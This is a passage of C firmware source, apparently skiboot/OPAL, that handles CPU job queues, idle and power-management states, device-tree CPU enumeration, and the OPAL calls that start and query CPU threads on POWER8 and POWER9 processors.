void (*func)(void *data);
void *data;
const char *name;
bool complete;
bool no_return;
};
/* attribute const as cpu_stacks is constant. */
unsigned long __attrconst cpu_stack_bottom(unsigned int pir)
{
return ((unsigned long)&cpu_stacks[pir]) +
sizeof(struct cpu_thread) + STACK_SAFETY_GAP;
}
unsigned long __attrconst cpu_stack_top(unsigned int pir)
{
/* This is the top of the normal stack. */
return ((unsigned long)&cpu_stacks[pir]) +
NORMAL_STACK_SIZE - STACK_TOP_GAP;
}
unsigned long __attrconst cpu_emergency_stack_top(unsigned int pir)
{
/* This is the top of the emergency stack, above the normal stack. */
return ((unsigned long)&cpu_stacks[pir]) +
NORMAL_STACK_SIZE + EMERGENCY_STACK_SIZE - STACK_TOP_GAP;
}
void __nomcount cpu_relax(void)
{
/* Relax a bit to give sibling threads some breathing space */
smt_lowest();
asm volatile("nop; nop; nop; nop;\n"
"nop; nop; nop; nop;\n"
"nop; nop; nop; nop;\n"
"nop; nop; nop; nop;\n");
smt_medium();
barrier();
}
static void cpu_wake(struct cpu_thread *cpu)
{
/* Is it idle ? If not, no need to wake */
sync();
if (!cpu->in_idle)
return;
if (proc_gen == proc_gen_p8) {
/* Poke IPI */
icp_kick_cpu(cpu);
} else if (proc_gen == proc_gen_p9) {
p9_dbell_send(cpu->pir);
}
}
/*
* If chip_id is >= 0, schedule the job on that node.
* Otherwise schedule the job anywhere.
*/
static struct cpu_thread *cpu_find_job_target(int32_t chip_id)
{
struct cpu_thread *cpu, *best, *me = this_cpu();
uint32_t best_count;
/* We try to find a target to run a job. We need to avoid
* a CPU that has a "no return" job on its queue as it might
* never be able to process anything.
*
* Additionally we don't check the list but the job count
* on the target CPUs, since that is decremented *after*
* a job has been completed.
*/
/* First we scan all available primary threads
*/
for_each_available_cpu(cpu) {
if (chip_id >= 0 && cpu->chip_id != chip_id)
continue;
if (cpu == me || !cpu_is_thread0(cpu) || cpu->job_has_no_return)
continue;
if (cpu->job_count)
continue;
lock(&cpu->job_lock);
if (!cpu->job_count)
return cpu;
unlock(&cpu->job_lock);
}
/* Now try again with secondary threads included and keep
* track of the one with the less jobs queued up. This is
* done in a racy way, but it's just an optimization in case
* we are overcommitted on jobs. Could could also just pick
* a random one...
*/
best = NULL;
best_count = -1u;
for_each_available_cpu(cpu) {
if (chip_id >= 0 && cpu->chip_id != chip_id)
continue;
if (cpu == me || cpu->job_has_no_return)
continue;
if (!best || cpu->job_count < best_count) {
best = cpu;
best_count = cpu->job_count;
}
if (cpu->job_count)
continue;
lock(&cpu->job_lock);
if (!cpu->job_count)
return cpu;
unlock(&cpu->job_lock);
}
/* We haven't found anybody, do we have a bestie ? */
if (best) {
lock(&best->job_lock);
return best;
}
/* Go away */
return NULL;
}
/* job_lock is held, returns with it released */
static void queue_job_on_cpu(struct cpu_thread *cpu, struct cpu_job *job)
{
/* That's bad, the job will never run */
if (cpu->job_has_no_return) {
prlog(PR_WARNING, "WARNING ! Job %s scheduled on CPU 0x%x"
" which has a no-return job on its queue !\n",
job->name, cpu->pir);
backtrace();
}
list_add_tail(&cpu->job_queue, &job->link);
if (job->no_return)
cpu->job_has_no_return = true;
else
cpu->job_count++;
if (pm_enabled)
cpu_wake(cpu);
unlock(&cpu->job_lock);
}
struct cpu_job *__cpu_queue_job(struct cpu_thread *cpu,
const char *name,
void (*func)(void *data), void *data,
bool no_return)
{
struct cpu_job *job;
#ifdef DEBUG_SERIALIZE_CPU_JOBS
if (cpu == NULL)
cpu = this_cpu();
#endif
if (cpu && !cpu_is_available(cpu)) {
prerror("CPU: Tried to queue job on unavailable CPU 0x%04x\n",
cpu->pir);
return NULL;
}
job = zalloc(sizeof(struct cpu_job));
if (!job)
return NULL;
job->func = func;
job->data = data;
job->name = name;
job->complete = false;
job->no_return = no_return;
/* Pick a candidate. Returns with target queue locked */
if (cpu == NULL)
cpu = cpu_find_job_target(-1);
else if (cpu != this_cpu())
lock(&cpu->job_lock);
else
cpu = NULL;
/* Can't be scheduled, run it now */
if (cpu == NULL) {
if (!this_cpu()->job_has_no_return)
this_cpu()->job_has_no_return = no_return;
func(data);
job->complete = true;
return job;
}
queue_job_on_cpu(cpu, job);
return job;
}
struct cpu_job *cpu_queue_job_on_node(uint32_t chip_id,
const char *name,
void (*func)(void *data), void *data)
{
struct cpu_thread *cpu;
struct cpu_job *job;
job = zalloc(sizeof(struct cpu_job));
if (!job)
return NULL;
job->func = func;
job->data = data;
job->name = name;
job->complete = false;
job->no_return = false;
/* Pick a candidate. Returns with target queue locked */
cpu = cpu_find_job_target(chip_id);
/* Can't be scheduled... */
if (cpu == NULL) {
cpu = this_cpu();
if (cpu->chip_id == chip_id) {
/* Run it now if we're the right node. */
func(data);
job->complete = true;
return job;
}
/* Otherwise fail. */
free(job);
return NULL;
}
queue_job_on_cpu(cpu, job);
return job;
}
bool cpu_poll_job(struct cpu_job *job)
{
lwsync();
return job->complete;
}
void cpu_wait_job(struct cpu_job *job, bool free_it)
{
unsigned long time_waited = 0;
if (!job)
return;
while (!job->complete) {
/* This will call OPAL pollers for us */
time_wait_ms(10);
time_waited += 10;
lwsync();
if ((time_waited % 30000) == 0) {
prlog(PR_INFO, "cpu_wait_job(%s) for %lums\n",
job->name, time_waited);
backtrace();
}
}
lwsync();
if (time_waited > 1000)
prlog(PR_DEBUG, "cpu_wait_job(%s) for %lums\n",
job->name, time_waited);
if (free_it)
free(job);
}
bool cpu_check_jobs(struct cpu_thread *cpu)
{
return !list_empty_nocheck(&cpu->job_queue);
}
void cpu_process_jobs(void)
{
struct cpu_thread *cpu = this_cpu();
struct cpu_job *job = NULL;
void (*func)(void *);
void *data;
sync();
if (!cpu_check_jobs(cpu))
return;
lock(&cpu->job_lock);
while (true) {
bool no_return;
job = list_pop(&cpu->job_queue, struct cpu_job, link);
if (!job)
break;
func = job->func;
data = job->data;
no_return = job->no_return;
unlock(&cpu->job_lock);
prlog(PR_TRACE, "running job %s on %x\n", job->name, cpu->pir);
if (no_return)
free(job);
func(data);
if (!list_empty(&cpu->locks_held)) {
if (no_return)
prlog(PR_ERR, "OPAL no-return job returned with"
"locks held!\n");
else
prlog(PR_ERR, "OPAL job %s returning with locks held\n",
job->name);
drop_my_locks(true);
}
lock(&cpu->job_lock);
if (!no_return) {
cpu->job_count--;
lwsync();
job->complete = true;
}
}
unlock(&cpu->job_lock);
}
enum cpu_wake_cause {
cpu_wake_on_job,
cpu_wake_on_dec,
};
static unsigned int cpu_idle_p8(enum cpu_wake_cause wake_on)
{
uint64_t lpcr = mfspr(SPR_LPCR) & ~SPR_LPCR_P8_PECE;
struct cpu_thread *cpu = this_cpu();
unsigned int vec = 0;
if (!pm_enabled) {
prlog_once(PR_DEBUG, "cpu_idle_p8 called pm disabled\n");
return vec;
}
/* Clean up ICP, be ready for IPIs */
icp_prep_for_pm();
/* Synchronize with wakers */
if (wake_on == cpu_wake_on_job) {
/* Mark ourselves in idle so other CPUs know to send an IPI */
cpu->in_idle = true;
sync();
/* Check for jobs again */
if (cpu_check_jobs(cpu) || !pm_enabled)
goto skip_sleep;
/* Setup wakup cause in LPCR: EE (for IPI) */
lpcr |= SPR_LPCR_P8_PECE2;
mtspr(SPR_LPCR, lpcr);
} else {
/* Mark outselves sleeping so cpu_set_pm_enable knows to
* send an IPI
*/
cpu->in_sleep = true;
sync();
/* Check if PM got disabled */
if (!pm_enabled)
goto skip_sleep;
/* EE and DEC */
lpcr |= SPR_LPCR_P8_PECE2 | SPR_LPCR_P8_PECE3;
mtspr(SPR_LPCR, lpcr);
}
isync();
/* Enter nap */
vec = enter_p8_pm_state(false);
skip_sleep:
/* Restore */
sync();
cpu->in_idle = false;
cpu->in_sleep = false;
reset_cpu_icp();
return vec;
}
static unsigned int cpu_idle_p9(enum cpu_wake_cause wake_on)
{
uint64_t lpcr = mfspr(SPR_LPCR) & ~SPR_LPCR_P9_PECE;
uint64_t psscr;
struct cpu_thread *cpu = this_cpu();
unsigned int vec = 0;
if (!pm_enabled) {
prlog_once(PR_DEBUG, "cpu_idle_p9 called pm disabled\n");
return vec;
}
/* Synchronize with wakers */
if (wake_on == cpu_wake_on_job) {
/* Mark ourselves in idle so other CPUs know to send an IPI */
cpu->in_idle = true;
sync();
/* Check for jobs again */
if (cpu_check_jobs(cpu) || !pm_enabled)
goto skip_sleep;
/* HV DBELL for IPI */
lpcr |= SPR_LPCR_P9_PECEL1;
} else {
/* Mark outselves sleeping so cpu_set_pm_enable knows to
* send an IPI
*/
cpu->in_sleep = true;
sync();
/* Check if PM got disabled */
if (!pm_enabled)
goto skip_sleep;
/* HV DBELL and DEC */
lpcr |= SPR_LPCR_P9_PECEL1 | SPR_LPCR_P9_PECEL3;
}
mtspr(SPR_LPCR, lpcr);
isync();
if (sreset_enabled) {
/* stop with EC=1 (sreset) and ESL=1 (enable thread switch). */
/* PSSCR SD=0 ESL=1 EC=1 PSSL=0 TR=3 MTL=0 RL=1 */
psscr = PPC_BIT(42) | PPC_BIT(43) |
PPC_BITMASK(54, 55) | PPC_BIT(63);
vec = enter_p9_pm_state(psscr);
} else {
/* stop with EC=0 (resumes) which does not require sreset. */
/* PSSCR SD=0 ESL=0 EC=0 PSSL=0 TR=3 MTL=0 RL=1 */
psscr = PPC_BITMASK(54, 55) | PPC_BIT(63);
enter_p9_pm_lite_state(psscr);
}
/* Clear doorbell */
p9_dbell_receive();
skip_sleep:
/* Restore */
sync();
cpu->in_idle = false;
cpu->in_sleep = false;
return vec;
}
static void cpu_idle_pm(enum cpu_wake_cause wake_on)
{
unsigned int vec;
switch(proc_gen) {
case proc_gen_p8:
vec = cpu_idle_p8(wake_on);
break;
case proc_gen_p9:
vec = cpu_idle_p9(wake_on);
break;
default:
vec = 0;
prlog_once(PR_DEBUG, "cpu_idle_pm called with bad processor type\n");
break;
}
if (vec == 0x100) {
unsigned long srr1 = mfspr(SPR_SRR1);
switch (srr1 & SPR_SRR1_PM_WAKE_MASK) {
case SPR_SRR1_PM_WAKE_SRESET:
exception_entry_pm_sreset();
break;
default:
break;
}
mtmsrd(MSR_RI, 1);
} else if (vec == 0x200) {
exception_entry_pm_mce();
enable_machine_check();
mtmsrd(MSR_RI, 1);
}
}
void cpu_idle_job(void)
{
if (pm_enabled) {
cpu_idle_pm(cpu_wake_on_job);
} else {
struct cpu_thread *cpu = this_cpu();
smt_lowest();
/* Check for jobs again */
while (!cpu_check_jobs(cpu)) {
if (pm_enabled)
break;
cpu_relax();
barrier();
}
smt_medium();
}
}
void cpu_idle_delay(unsigned long delay)
{
unsigned long now = mftb();
unsigned long end = now + delay;
unsigned long min_pm = usecs_to_tb(10);
if (pm_enabled && delay > min_pm) {
pm:
for (;;) {
if (delay >= 0x7fffffff)
delay = 0x7fffffff;
mtspr(SPR_DEC, delay);
cpu_idle_pm(cpu_wake_on_dec);
now = mftb();
if (tb_compare(now, end) == TB_AAFTERB)
break;
delay = end - now;
if (!(pm_enabled && delay > min_pm))
goto no_pm;
}
} else {
no_pm:
smt_lowest();
for (;;) {
now = mftb();
if (tb_compare(now, end) == TB_AAFTERB)
break;
delay = end - now;
if (pm_enabled && delay > min_pm) {
smt_medium();
goto pm;
}
}
smt_medium();
}
}
static void cpu_pm_disable(void)
{
struct cpu_thread *cpu;
pm_enabled = false;
sync();
if (proc_gen == proc_gen_p8) {
for_each_available_cpu(cpu) {
while (cpu->in_sleep || cpu->in_idle) {
icp_kick_cpu(cpu);
cpu_relax();
}
}
} else if (proc_gen == proc_gen_p9) {
for_each_available_cpu(cpu) {
if (cpu->in_sleep || cpu->in_idle)
p9_dbell_send(cpu->pir);
}
smt_lowest();
for_each_available_cpu(cpu) {
while (cpu->in_sleep || cpu->in_idle)
barrier();
}
smt_medium();
}
}
void cpu_set_sreset_enable(bool enabled)
{
if (sreset_enabled == enabled)
return;
if (proc_gen == proc_gen_p8) {
/* Public P8 Mambo has broken NAP */
if (chip_quirk(QUIRK_MAMBO_CALLOUTS))
return;
sreset_enabled = enabled;
sync();
if (!enabled) {
cpu_pm_disable();
} else {
if (ipi_enabled)
pm_enabled = true;
}
} else if (proc_gen == proc_gen_p9) {
sreset_enabled = enabled;
sync();
/*
* Kick everybody out of PM so they can adjust the PM
* mode they are using (EC=0/1).
*/
cpu_pm_disable();
if (ipi_enabled)
pm_enabled = true;
}
}
void cpu_set_ipi_enable(bool enabled)
{
if (ipi_enabled == enabled)
return;
if (proc_gen == proc_gen_p8) {
ipi_enabled = enabled;
sync();
if (!enabled) {
cpu_pm_disable();
} else {
if (sreset_enabled)
pm_enabled = true;
}
} else if (proc_gen == proc_gen_p9) {
ipi_enabled = enabled;
sync();
if (!enabled)
cpu_pm_disable();
else
pm_enabled = true;
}
}
void cpu_process_local_jobs(void)
{
struct cpu_thread *cpu = first_available_cpu();
while (cpu) {
if (cpu != this_cpu())
return;
cpu = next_available_cpu(cpu);
}
if (!cpu)
cpu = first_available_cpu();
/* No CPU to run on, just run synchro */
if (cpu == this_cpu()) {
prlog_once(PR_DEBUG, "Processing jobs synchronously\n");
cpu_process_jobs();
opal_run_pollers();
}
}
struct dt_node *get_cpu_node(u32 pir)
{
struct cpu_thread *t = find_cpu_by_pir(pir);
return t ? t->node : NULL;
}
/* This only covers primary, active cpus */
struct cpu_thread *find_cpu_by_chip_id(u32 chip_id)
{
struct cpu_thread *t;
for_each_available_cpu(t) {
if (t->is_secondary)
continue;
if (t->chip_id == chip_id)
return t;
}
return NULL;
}
struct cpu_thread *find_cpu_by_node(struct dt_node *cpu)
{
struct cpu_thread *t;
for_each_available_cpu(t) {
if (t->node == cpu)
return t;
}
return NULL;
}
struct cpu_thread *find_cpu_by_pir(u32 pir)
{
if (pir > cpu_max_pir)
return NULL;
return &cpu_stacks[pir].cpu;
}
struct __nomcount cpu_thread *find_cpu_by_pir_nomcount(u32 pir)
{
if (pir > cpu_max_pir)
return NULL;
return &cpu_stacks[pir].cpu;
}
struct cpu_thread *find_cpu_by_server(u32 server_no)
{
struct cpu_thread *t;
for_each_cpu(t) {
if (t->server_no == server_no)
return t;
}
return NULL;
}
struct cpu_thread *next_cpu(struct cpu_thread *cpu)
{
struct cpu_stack *s;
unsigned int index = 0;
if (cpu != NULL) {
s = container_of(cpu, struct cpu_stack, cpu);
index = s - cpu_stacks + 1;
}
for (; index <= cpu_max_pir; index++) {
cpu = &cpu_stacks[index].cpu;
if (cpu->state != cpu_state_no_cpu)
return cpu;
}
return NULL;
}
struct cpu_thread *first_cpu(void)
{
return next_cpu(NULL);
}
struct cpu_thread *next_available_cpu(struct cpu_thread *cpu)
{
do {
cpu = next_cpu(cpu);
} while(cpu && !cpu_is_available(cpu));
return cpu;
}
struct cpu_thread *first_available_cpu(void)
{
return next_available_cpu(NULL);
}
struct cpu_thread *next_present_cpu(struct cpu_thread *cpu)
{
do {
cpu = next_cpu(cpu);
} while(cpu && !cpu_is_present(cpu));
return cpu;
}
struct cpu_thread *first_present_cpu(void)
{
return next_present_cpu(NULL);
}
struct cpu_thread *next_ungarded_cpu(struct cpu_thread *cpu)
{
do {
cpu = next_cpu(cpu);
} while(cpu && cpu->state == cpu_state_unavailable);
return cpu;
}
struct cpu_thread *first_ungarded_cpu(void)
{
return next_ungarded_cpu(NULL);
}
struct cpu_thread *next_ungarded_primary(struct cpu_thread *cpu)
{
do {
cpu = next_cpu(cpu);
} while(cpu && (cpu->state == cpu_state_unavailable || cpu->primary != cpu));
return cpu;
}
struct cpu_thread *first_ungarded_primary(void)
{
return next_ungarded_primary(NULL);
}
u8 get_available_nr_cores_in_chip(u32 chip_id)
{
struct cpu_thread *core;
u8 nr_cores = 0;
for_each_available_core_in_chip(core, chip_id)
nr_cores++;
return nr_cores;
}
struct cpu_thread *next_available_core_in_chip(struct cpu_thread *core,
u32 chip_id)
{
do {
core = next_cpu(core);
} while(core && (!cpu_is_available(core) ||
core->chip_id != chip_id ||
core->is_secondary));
return core;
}
struct cpu_thread *first_available_core_in_chip(u32 chip_id)
{
return next_available_core_in_chip(NULL, chip_id);
}
uint32_t cpu_get_core_index(struct cpu_thread *cpu)
{
return pir_to_core_id(cpu->pir);
}
void cpu_remove_node(const struct cpu_thread *t)
{
struct dt_node *i;
/* Find this cpu node */
dt_for_each_node(dt_root, i) {
const struct dt_property *p;
if (!dt_has_node_property(i, "device_type", "cpu"))
continue;
p = dt_find_property(i, "ibm,pir");
if (!p)
continue;
if (dt_property_get_cell(p, 0) == t->pir) {
dt_free(i);
return;
}
}
prerror("CPU: Could not find cpu node %i to remove!\n", t->pir);
abort();
}
void cpu_disable_all_threads(struct cpu_thread *cpu)
{
unsigned int i;
struct dt_property *p;
for (i = 0; i <= cpu_max_pir; i++) {
struct cpu_thread *t = &cpu_stacks[i].cpu;
if (t->primary == cpu->primary)
t->state = cpu_state_disabled;
}
/* Mark this core as bad so that Linux kernel don't use this CPU. */
prlog(PR_DEBUG, "CPU: Mark CPU bad (PIR 0x%04x)...\n", cpu->pir);
p = __dt_find_property(cpu->node, "status");
if (p)
dt_del_property(cpu->node, p);
dt_add_property_string(cpu->node, "status", "bad");
/* XXX Do something to actually stop the core */
}
static void init_cpu_thread(struct cpu_thread *t,
enum cpu_thread_state state,
unsigned int pir)
{
/* offset within cpu_thread to prevent stack_guard clobber */
const size_t guard_skip = container_off_var(t, stack_guard) +
sizeof(t->stack_guard);
memset(((void *)t) + guard_skip, 0, sizeof(struct cpu_thread) - guard_skip);
init_lock(&t->dctl_lock);
init_lock(&t->job_lock);
list_head_init(&t->job_queue);
list_head_init(&t->locks_held);
t->stack_guard = STACK_CHECK_GUARD_BASE ^ pir;
t->state = state;
t->pir = pir;
#ifdef STACK_CHECK_ENABLED
t->stack_bot_mark = LONG_MAX;
#endif
assert(pir == container_of(t, struct cpu_stack, cpu) - cpu_stacks);
}
static void enable_attn(void)
{
unsigned long hid0;
hid0 = mfspr(SPR_HID0);
hid0 |= hid0_attn;
set_hid0(hid0);
}
static void disable_attn(void)
{
unsigned long hid0;
hid0 = mfspr(SPR_HID0);
hid0 &= ~hid0_attn;
set_hid0(hid0);
}
extern void __trigger_attn(void);
void trigger_attn(void)
{
enable_attn();
__trigger_attn();
}
static void init_hid(void)
{
/* attn is enabled even when HV=0, so make sure it's off */
disable_attn();
}
void __nomcount pre_init_boot_cpu(void)
{
struct cpu_thread *cpu = this_cpu();
/* We skip the stack guard ! */
memset(((void *)cpu) + 8, 0, sizeof(struct cpu_thread) - 8);
}
void init_boot_cpu(void)
{
unsigned int pir, pvr;
pir = mfspr(SPR_PIR);
pvr = mfspr(SPR_PVR);
/* Get CPU family and other flags based on PVR */
switch(PVR_TYPE(pvr)) {
case PVR_TYPE_P8E:
case PVR_TYPE_P8:
proc_gen = proc_gen_p8;
hile_supported = PVR_VERS_MAJ(mfspr(SPR_PVR)) >= 2;
hid0_hile = SPR_HID0_POWER8_HILE;
hid0_attn = SPR_HID0_POWER8_ENABLE_ATTN;
break;
case PVR_TYPE_P8NVL:
proc_gen = proc_gen_p8;
hile_supported = true;
hid0_hile = SPR_HID0_POWER8_HILE;
hid0_attn = SPR_HID0_POWER8_ENABLE_ATTN;
break;
case PVR_TYPE_P9:
case PVR_TYPE_P9P:
proc_gen = proc_gen_p9;
hile_supported = true;
radix_supported = true;
hid0_hile = SPR_HID0_POWER9_HILE;
hid0_attn = SPR_HID0_POWER9_ENABLE_ATTN;
break;
default:
proc_gen = proc_gen_unknown;
}
/* Get a CPU thread count based on family */
switch(proc_gen) {
case proc_gen_p8:
cpu_thread_count = 8;
prlog(PR_INFO, "CPU: P8 generation processor"
" (max %d threads/core)\n", cpu_thread_count);
break;
case proc_gen_p9:
cpu_thread_count = 4;
prlog(PR_INFO, "CPU: P9 generation processor"
" (max %d threads/core)\n", cpu_thread_count);
break;
default:
prerror("CPU: Unknown PVR, assuming 1 thread\n");
cpu_thread_count = 1;
cpu_max_pir = mfspr(SPR_PIR);
}
if (is_power9n(pvr) && (PVR_VERS_MAJ(pvr) == 1)) {
prerror("CPU: POWER9N DD1 is not supported\n");
abort();
}
prlog(PR_DEBUG, "CPU: Boot CPU PIR is 0x%04x PVR is 0x%08x\n",
pir, pvr);
/*
* Adjust top of RAM to include the boot CPU stack. If we have less
* RAM than this, it's not possible to boot.
*/
cpu_max_pir = pir;
top_of_ram += (cpu_max_pir + 1) * STACK_SIZE;
/* Setup boot CPU state */
boot_cpu = &cpu_stacks[pir].cpu;
init_cpu_thread(boot_cpu, cpu_state_active, pir);
init_boot_tracebuf(boot_cpu);
assert(this_cpu() == boot_cpu);
init_hid();
}
static void enable_large_dec(bool on)
{
u64 lpcr = mfspr(SPR_LPCR);
if (on)
lpcr |= SPR_LPCR_P9_LD;
else
lpcr &= ~SPR_LPCR_P9_LD;
mtspr(SPR_LPCR, lpcr);
isync();
}
#define HIGH_BIT (1ull << 63)
static int find_dec_bits(void)
{
int bits = 65; /* we always decrement once */
u64 mask = ~0ull;
if (proc_gen < proc_gen_p9)
return 32;
/* The ISA doesn't specify the width of the decrementer register so we
* need to discover it. When in large mode (LPCR.LD = 1) reads from the
* DEC SPR are sign extended to 64 bits and writes are truncated to the
* physical register width. We can use this behaviour to detect the
* width by starting from an all 1s value and left shifting until we
* read a value from the DEC with it's high bit cleared.
*/
enable_large_dec(true);
do {
bits--;
mask = mask >> 1;
mtspr(SPR_DEC, mask);
} while (mfspr(SPR_DEC) & HIGH_BIT);
enable_large_dec(false);
prlog(PR_DEBUG, "CPU: decrementer bits %d\n", bits);
return bits;
}
static void init_tm_suspend_mode_property(void)
{
struct dt_node *node;
/* If we don't find anything, assume TM suspend is enabled */
tm_suspend_enabled = true;
node = dt_find_by_path(dt_root, "/ibm,opal/fw-features/tm-suspend-mode");
if (!node)
return;
if (dt_find_property(node, "disabled"))
tm_suspend_enabled = false;
}
void init_cpu_max_pir(void)
{
struct dt_node *cpus, *cpu;
cpus = dt_find_by_path(dt_root, "/cpus");
assert(cpus);
/* Iterate all CPUs in the device-tree */
dt_for_each_child(cpus, cpu) {
unsigned int pir, server_no;
/* Skip cache nodes */
if (strcmp(dt_prop_get(cpu, "device_type"), "cpu"))
continue;
server_no = dt_prop_get_u32(cpu, "reg");
/* If PIR property is absent, assume it's the same as the
* server number
*/
pir = dt_prop_get_u32_def(cpu, "ibm,pir", server_no);
if (cpu_max_pir < pir + cpu_thread_count - 1)
cpu_max_pir = pir + cpu_thread_count - 1;
}
prlog(PR_DEBUG, "CPU: New max PIR set to 0x%x\n", cpu_max_pir);
}
void init_all_cpus(void)
{
struct dt_node *cpus, *cpu;
unsigned int thread;
int dec_bits = find_dec_bits();
cpus = dt_find_by_path(dt_root, "/cpus");
assert(cpus);
init_tm_suspend_mode_property();
/* Iterate all CPUs in the device-tree */
dt_for_each_child(cpus, cpu) {
unsigned int pir, server_no, chip_id;
enum cpu_thread_state state;
const struct dt_property *p;
struct cpu_thread *t, *pt;
/* Skip cache nodes */
if (strcmp(dt_prop_get(cpu, "device_type"), "cpu"))
continue;
server_no = dt_prop_get_u32(cpu, "reg");
/* If PIR property is absent, assume it's the same as the
* server number
*/
pir = dt_prop_get_u32_def(cpu, "ibm,pir", server_no);
/* We should always have an ibm,chip-id property */
chip_id = dt_get_chip_id(cpu);
/* Only use operational CPUs */
if (!strcmp(dt_prop_get(cpu, "status"), "okay"))
state = cpu_state_present;
else
state = cpu_state_unavailable;
prlog(PR_INFO, "CPU: CPU from DT PIR=0x%04x Server#=0x%x"
" State=%d\n", pir, server_no, state);
/* Setup thread 0 */
assert(pir <= cpu_max_pir);
t = pt = &cpu_stacks[pir].cpu;
if (t != boot_cpu) {
init_cpu_thread(t, state, pir);
/* Each cpu gets its own later in init_trace_buffers */
t->trace = boot_cpu->trace;
}
t->server_no = server_no;
t->primary = t;
t->node = cpu;
t->chip_id = chip_id;
t->icp_regs = NULL; /* Will be set later */
#ifdef DEBUG_LOCKS
t->requested_lock = NULL;
#endif
t->core_hmi_state = 0;
t->core_hmi_state_ptr = &t->core_hmi_state;
/* Add associativity properties */
add_core_associativity(t);
/* Add the decrementer width property */
dt_add_property_cells(cpu, "ibm,dec-bits", dec_bits);
/* Iterate threads */
p = dt_find_property(cpu, "ibm,ppc-interrupt-server#s");
if (!p)
continue;
for (thread = 1; thread < (p->len / 4); thread++) {
prlog(PR_TRACE, "CPU: secondary thread %d found\n",
thread);
t = &cpu_stacks[pir + thread].cpu;
init_cpu_thread(t, state, pir + thread);
t->trace = boot_cpu->trace;
t->server_no = ((const u32 *)p->prop)[thread];
t->is_secondary = true;
t->primary = pt;
t->node = cpu;
t->chip_id = chip_id;
t->core_hmi_state_ptr = &pt->core_hmi_state;
}
prlog(PR_INFO, "CPU: %d secondary threads\n", thread);
}
}
void cpu_bringup(void)
{
struct cpu_thread *t;
uint32_t count = 0;
prlog(PR_INFO, "CPU: Setting up secondary CPU state\n");
op_display(OP_LOG, OP_MOD_CPU, 0x0000);
/* Tell everybody to chime in ! */
prlog(PR_INFO, "CPU: Calling in all processors...\n");
cpu_secondary_start = 1;
sync();
op_display(OP_LOG, OP_MOD_CPU, 0x0002);
for_each_cpu(t) {
if (t->state != cpu_state_present &&
t->state != cpu_state_active)
continue;
/* Add a callin timeout ? If so, call cpu_remove_node(t). */
while (t->state != cpu_state_active) {
smt_lowest();
sync();
}
smt_medium();
count++;
}
prlog(PR_NOTICE, "CPU: All %d processors called in...\n", count);
op_display(OP_LOG, OP_MOD_CPU, 0x0003);
}
void cpu_callin(struct cpu_thread *cpu)
{
sync();
cpu->state = cpu_state_active;
sync();
cpu->job_has_no_return = false;
if (cpu_is_thread0(cpu))
init_hid();
}
static void opal_start_thread_job(void *data)
{
cpu_give_self_os();
/* We do not return, so let's mark the job as
* complete
*/
start_kernel_secondary((uint64_t)data);
}
static int64_t opal_start_cpu_thread(uint64_t server_no, uint64_t start_address)
{
struct cpu_thread *cpu;
struct cpu_job *job;
if (!opal_addr_valid((void *)start_address))
return OPAL_PARAMETER;
cpu = find_cpu_by_server(server_no);
if (!cpu) {
prerror("OPAL: Start invalid CPU 0x%04llx !\n", server_no);
return OPAL_PARAMETER;
}
prlog(PR_DEBUG, "OPAL: Start CPU 0x%04llx (PIR 0x%04x) -> 0x%016llx\n",
server_no, cpu->pir, start_address);
lock(&reinit_lock);
if (!cpu_is_available(cpu)) {
unlock(&reinit_lock);
prerror("OPAL: CPU not active in OPAL !\n");
return OPAL_WRONG_STATE;
}
if (cpu->in_reinit) {
unlock(&reinit_lock);
prerror("OPAL: CPU being reinitialized !\n");
return OPAL_WRONG_STATE;
}
job = __cpu_queue_job(cpu, "start_thread",
opal_start_thread_job, (void *)start_address,
true);
unlock(&reinit_lock);
if (!job) {
prerror("OPAL: Failed to create CPU start job !\n");
return OPAL_INTERNAL_ERROR;
}
return OPAL_SUCCESS;
}
opal_call(OPAL_START_CPU, opal_start_cpu_thread, 2);
static int64_t opal_query_cpu_status(uint64_t server_no, uint8_t *thread_status)
{
struct cpu_thread *cpu;
if (!opal_addr_valid(thread_status))
return OPAL_PARAMETER;
cpu = find_cpu_by_server(server_no);
if (!cpu) {
prerror("OPAL: Query invalid CPU 0x%04llx !\n", server_no);
return OPAL_PARAMETER;
}
if (!cpu_is_available(cpu) && cpu->state != cpu_state_os) {
prerror("OPAL: CPU not active in OPAL nor OS !\n");
return OPAL_PARAMETER;
}
switch(cpu->state) {
case cpu_state_os:
*thread_status = OPAL_THREAD_STARTED;
break;
case cpu_state_active:
/* Active in skiboot -> inactive in OS */
*thread_status = OPAL_THREAD_INACTIVE;
break;
default:
*thread_status = OPAL_THREAD_UNAVAILABLE;
}
return OPAL_SUCCESS;
}
opal_call(OPAL_QUERY_CPU_STATUS, opal_query_cpu_status, 2);
static int64_t opal_return_cpu(void)
{
prlog(PR_DEBUG, "OPAL: Returning CPU 0x%04x\n", this_cpu()->pir);
this_cpu()->in_opal_call--;
if (this_cpu()->in_opal_call != 0) {
printf("OPAL in_opal_call=%u\n", this_cpu()->in_opal_call);
}
__secondary_cpu_entry();
return OPAL_HARDWARE; /* Should not happen */
}
opal_call(OPAL_RETURN_CPU, opal_return_cpu, 0);
struct hid0_change_req {
uint64_t clr_bits;
uint64_t set_bits;
};
static void cpu_change_hid0(void *__req)
{
struct hid0_change_req *req = __req;
unsigned long hid0, new_hid0;
hid0 = new_hid0 = mfspr(SPR_HID0);
new_hid0 &= ~req->clr_bits;
new_hid0 |= req->set_bits;
prlog(PR_DEBUG, "CPU: [%08x] HID0 change 0x%016lx -> 0x%016lx\n",
this_cpu()->pir, hid0, new_hid0);
set_hid0(new_hid0);
}
static int64_t cpu_change_all_hid0(struct hid0_change_req *req)
{
struct cpu_thread *cpu;
struct cpu_job **jobs;
jobs = zalloc(sizeof(struct cpu_job *) * (cpu_max_pir + 1));
assert(jobs);
for_each_available_cpu(cpu) {
if (!cpu_is_thread0(cpu))
continue;
if (cpu == this_cpu())
continue;
jobs[cpu->pir] = cpu_queue_job(cpu, "cpu_change_hid0",
cpu_change_hid0, req);
}
/* this cpu */
cpu_change_hid0(req);
for_each_available_cpu(cpu) {
if (jobs[cpu->pir])
cpu_wait_job(jobs[cpu->pir], true);
}
free(jobs);
return OPAL_SUCCESS;
}
static void cpu_cleanup_one(void *param __unused)
{
mtspr(SPR_AMR, 0);
mtspr(SPR_IAMR, 0);
mtspr(SPR_PCR, 0);
}
static int64_t cpu_cleanup_all(void)
{
struct cpu_thread *cpu;
struct cpu_job **jobs;
jobs = zalloc(sizeof(struct cpu_job *) * (cpu_max_pir + 1));
assert(jobs);
for_each_available_cpu(cpu) {
if (cpu == this_cpu())
continue;
jobs[cpu->pir] = cpu_queue_job(cpu, "cpu_cleanup",
cpu_cleanup_one, NULL);
}
/* this cpu */
cpu_cleanup_one(NULL);
